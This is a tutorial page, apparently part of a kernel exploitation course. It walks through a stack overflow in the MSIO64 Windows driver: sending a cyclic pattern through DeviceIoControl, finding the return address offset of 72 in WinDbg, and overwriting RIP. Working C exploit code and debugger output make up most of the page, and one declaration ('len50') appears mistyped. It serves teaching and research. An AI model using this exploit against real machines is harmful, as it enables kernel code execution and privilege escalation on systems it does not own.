---
description: >-
  In order to find the saved return address offset in a driver for exploitation,
  we follow a similar approach as with user mode stack-based overflows by
  submitting a pattern and observing the overwrite.
---

# Controlling RIP

## Finding the Saved Return Address Offset

Finding the saved return address offset is very similar to a user mode stack-based overflow. We submit a pattern to the driver and we examine `rsp` when the `ret` instruction is about to be executed in the vulnerable function.

How you decide to create a pattern is left up to you, I will use a slightly modified version of the script at [https://github.com/ickerwx/pattern](https://github.com/ickerwx/pattern)

This script will not run using python 3; to fix it you must fix the `print` statements, ensuring they use `()` brackets and references to `long` must be changed to `int`.

Run the tool to create a pattern of 250 characters:

{% code overflow="wrap" %}
```
python.exe '.\python tools\pattern.py' create 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
```
{% endcode %}

Next we need to replace the fuzzer code in the `else` statement. This will send our pattern to the driver:

{% code overflow="wrap" lineNumbers="true" %}
```c
// the IOCTL code
unsigned int ioCode = 0x80102040;

// the pattern buffer
const char buffer[251] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A";

// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, 250, NULL, 0, &bytesRet, NULL);
```
{% endcode %}

Rebuild the executable and transfer it to the target host. Ensure your debugger is connect to the host and the target driver is running.

Break in to the system and examine the return address in the vulnerable function (we know this address from the fuzzing section):

```
0: kd> u MSIO64+16b5
MSIO64+0x16b5:
fffff80c`50c516b5 4883c478        add     rsp,78h
fffff80c`50c516b9 c3              ret
```

Set a breakpoint at this address and submit the `g` command in Windbg Preview:

```
0: kd> bp MSIO64+16b5
0: kd> g
```

On the target host it is time to run the exploit executable. This will break the kernel at the specified breakpoint. Allow Windbg Preview to run past the first break on the breakpoint with the `g` command, when we hit it the second time we can look at the stack:

```
Breakpoint 0 hit
MSIO64+0x16b5:
fffff80c`50c516b5 4883c478        add     rsp,78h
```

We need to step the `add rsp, 78h` instruction, then we are presented with the `ret` instruction:

```
0: kd> p
MSIO64+0x16b9:
fffff80c`50c516b9 c3              ret
```

Examine the value pointed to by `rsp`; this is the return address that we have overwritten; we can use the `da` command to show that our pattern is pointed to by `rsp`:

```
0: kd> da rsp L4
ffffda01`33919818  "Ac4A"
```

We can submit the first 4 characters to the pattern tool, on our debugger, to find the correct offset of the overwrite:

```
python.exe '.\python tools\pattern.py' offset Ac4A 250
72
```

It is time to test the overwrite of `rip`, if this is successful then we most likely have control of the instruction pointer, and code execution.

## Controlling RIP

In order to get arbitrary code execution in the context of the kernel, we need to control `rip`. Change the code in our exploit to match the following (again this is in the `else` block):

{% code overflow="wrap" lineNumbers="true" %}
```c
// the IOCTL code
unsigned int ioCode = 0x80102040;
// the overflow offset
const size_t  offset = 72;
// the length of the buffer
const size_t len = 150;

// the buffer
char buffer[len50];
memset(buffer, 0x41, len);

char rip[8] = { 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42 };
memcpy(buffer + offset, rip, 8);

// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);
```
{% endcode %}

Compile the exploit code.

Copy the executable over to the target host, ensure the debugger is connected and ensure the target driver is running. This time we will not use a breakpoint and allow the **Access Violation**.

When the debugger breaks, we can examine the address pointed to by `rsp`:

```
1: kd> dq rsp L1
ffffb081`357a3818  42424242`42424242
```

We can also confirm this by viewing the call stack with the `k` command:

```
1: kd> k L4
 # Child-SP          RetAddr               Call Site
00 ffffb081`357a3818 42424242`42424242     MSIO64+0x16b9
01 ffffb081`357a3820 41414141`41414141     0x42424242`42424242
02 ffffb081`357a3828 41414141`41414141     0x41414141`41414141
03 ffffb081`357a3830 41414141`41414141     0x41414141`41414141
04 ffffb081`357a3838 41414141`41414141     0x41414141`41414141
```

Excellent, we now have control over the saved return address, and subsequently `rip`.

## Demo

{% embed url="https://vimeo.com/844684034?share=copy" %}
Controlling RIP
{% endembed %}
